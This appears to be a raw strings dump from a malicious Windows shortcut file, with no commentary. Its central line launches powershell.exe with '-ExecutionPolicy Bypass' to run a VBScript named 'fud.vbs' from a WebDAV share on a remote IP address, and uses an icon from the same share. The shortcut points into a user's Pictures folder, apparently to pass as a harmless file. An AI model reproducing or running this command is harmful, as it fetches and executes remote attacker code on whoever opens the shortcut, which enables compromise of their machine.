Windows
System32
WindowsPowerShell
powershell.exe
Windows
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
vmi1442516
Windows
System32
WindowsPowerShell
powershell.exe
?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
\\154.53.50.79@8081\DavWWWRoot>-ExecutionPolicy Bypass \\154.53.50.79@8081\DavWWWRoot\fud.vbs$\\154.53.50.79@8081\DavWWWRoot\d.ico
Pictures (C:\Users\Administrator)
fud.vbs
VBScript Script File
C:\Users\Administrator\Pictures\fud.vbs